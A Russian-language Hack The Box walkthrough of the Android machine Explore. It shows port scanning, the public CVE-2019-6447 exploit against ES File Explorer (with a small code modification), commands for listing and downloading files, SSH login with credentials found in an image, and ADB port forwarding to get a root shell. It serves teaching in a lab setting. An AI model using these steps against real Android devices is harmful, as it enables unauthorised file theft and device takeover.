Хакер - HTB Explore. Повышаем привилегии на Android через ADB
hacker_frei
RalfHacker
Содержание статьи
- Разведка. Сканирование портов
- Точка входа. Поиск эксплоитов
- Точка опоры. Модернизация эксплоита
- Локальное повышение привилегий
В этой статье я покажу, как захватить машину Explore, основанную на Android. Поможет нам в этом уязвимость в файловом менеджере ES File Explorer, а также отладочный интерфейс ADB. Машина легкая, но Android встречается на Hack The Box нечасто, и это делает задачку интересной.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ
Добавляем IP-адрес машины в /etc/hosts:
10.10.10.247 explore.htb
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Видим всего два открытых порта: 2222 (служба SSH) и пока неизвестный для нас 59777 (на пояснение Nmap можно не смотреть, так как он просто вывел информацию из своей базы). На SSH нам пока делать нечего, у нас нет никаких ключей, учетных данных и вообще какой‑либо информации для составления списка паролей. Поэтому отправимся в Google и поищем сведения про порт 59777.
Узнаем, что открытый порт 59777 содержат версии ES File Explorer 4.1.9.5.2 и более ранние. ES File Explorer — это полнофункциональный менеджер файлов для Android, и он годится как для локального, так и для сетевого использования.
ТОЧКА ВХОДА. ПОИСК ЭКСПЛОИТОВ
Мы узнали, какая используется технология, а это значит, что можно поискать готовые эксплоиты.
Справка: поиск готовых эксплоитов
При пентесте лучше всего искать эксплоиты при помощи Google, поскольку этот поисковик заглядывает и в личные блоги, и в самые разные отчеты. Ускорят дело специализированные базы вроде Exploit-DB — там часто можно обнаружить подходящие варианты. Если ты работаешь в специализированной ОС вроде Kali Linux, то эта база у тебя уже есть и для поиска можно использовать утилиту searchsploit.
В Exploit-DB находим готовый код. Эксплуатируемая им уязвимость носит идентификатор CVE-2019-6447. Из ее описания узнаем детали: приложение запускает на устройстве скрытый HTTP-сервер, который позволяет получить доступ к данным других пользователей, подключенных к той же сети в момент запуска приложения.
Скачиваем и пробуем запустить эксплоит. Нам сообщают, что в качестве обязательных параметров нужно указать команду и адрес, также есть опция для скачивания файлов.

Если просмотреть код эксплоита, мы сможем узнать о следующих поддерживаемых командах:
listFiles— получить список файлов в директории;listPics— список изображений;listVideos— список видеофайлов;listAudios— список аудиофайлов;listApps— список установленных приложений;listAppsSystem— список системных приложений;listAppsPhone— список приложений для связи;listAppsSdcard— список приложений на карте SD;listAppsAll— список всех приложений;getFile— загрузить файл с устройства (для этого, видимо, и нужен третий параметр);getDeviceInfo— получить информацию об устройстве.
Прежде чем ковыряться в файловой системе, нужно узнать, с чем мы работаем. Давай получим информацию об устройстве:
python3 50070.py getDeviceInfo explore.htb

Информации немного, но видим корневую директорию ftpRoot — /sdcard.
ТОЧКА ОПОРЫ. МОДЕРНИЗАЦИЯ ЭКСПЛОИТА
Получить список файлов в заданной директории при помощи этого эксплоита не выйдет, поэтому мне пришлось его немного доработать. Для этого нужно просто добавить к URL каталог, к которому мы обращаемся. Я реализовал это в третьем параметре, ниже приведен код, который следует добавить в эксплоит.
if cmd == cmds[0]:
if len(sys.argv) != 4:
print("[+] Include dir for get list.")
sys.exit(1)
else:
url += sys.argv[3]


А теперь в третьем параметре передадим каталог, содержимое которого мы хотим получить.
python3 50070.py listFiles explore.htb /sdcard


Находим файл user.txt, но забирать его пока рано, ведь мы не получили управление. Можно посмотреть каталоги загрузок (Download) и документов (Documents), также много интересного можем найти и в картинках. Но сперва обратим внимание на две директории, дата изменения которых отличается от остальных: dianxinos и DCIM. В первой ничего интересного, а вот в директории камеры есть интересный файл creds.
python3 50070.py listFiles explore.htb /sdcard/DCIM

Эти же фотографии можно было обнаружить с помощью специальной поддерживаемой команды listPics.
python3 50070.py listPics explore.htb

Загрузим интересующее нас изображение командой getFile.
python3 50070.py getFile explore.htb /sdcard/DCIM/creds.jpg

Просматриваем картинку и находим логин и пароль.

Что характерно для такого рода задачек, эта учетка подходит к SSH. Таким образом мы получаем флаг пользователя.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Сомневаюсь, что скрипты для поиска путей повышения привилегий вроде LinPEAS сработают на Android, поэтому я решил проверять вручную. Первое, на что я обратил внимание, — это система, но никаких эксплоитов для Android этой версии обнаружить не удалось.
uname -a

Sudo в данной системе отсутствует, поэтому на привилегированные команды без пароля можно не надеяться. А вот открытые для локального хоста порты представляют такой же интерес, как и в случае с Windows или Linux.
netstat -tulpan

Находим порт 5555 и снова отправляемся в Google, чтобы узнать, что за софт на нем может работать. По первой же ссылке определяем используемое ПО — это ADB.

ADB (Android Debug Bridge) — клиент‑серверное приложение, которое предоставляет доступ к работающему эмулятору или устройству. С его помощью можно копировать файлы, устанавливать скомпилированные программные пакеты и запускать консольные команды. Используя консоль, можно даже изменять настройки журнала и взаимодействовать с базами данных SQLite, которые хранятся на устройстве.
Для работы нам потребуется одноименное приложение ADB, установить которое можно командой sudo apt install adb прямо из репозиториев Kali Linux. Так как порт открыт для локального хоста, прокидываем его через SSH:
ssh -p 2222 -L 5555:localhost:5555 kristi@10.10.10.247
Теперь весь трафик, который мы пошлем на локальный порт 5555, будет туннелирован на порт 5555 удаленного устройства. Подключаемся.
adb connect 127.0.0.1:5555

Соединение успешно установлено, посмотрим идентификаторы подключенных устройств.
adb devices -l

Из представленного списка нас интересует устройство с идентификатором 2. Получим командную оболочку, передав идентификатор в параметре -t и указав команду shell.
adb -t 2 shell

Мы имеем шелл и по команде su получаем привилегированный контекст. Остается только найти файл рута.
su
find / -name "root.txt" 2>/dev/null
cat /data/root.txt

Файл найден, и мы получили полный контроль над машиной.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei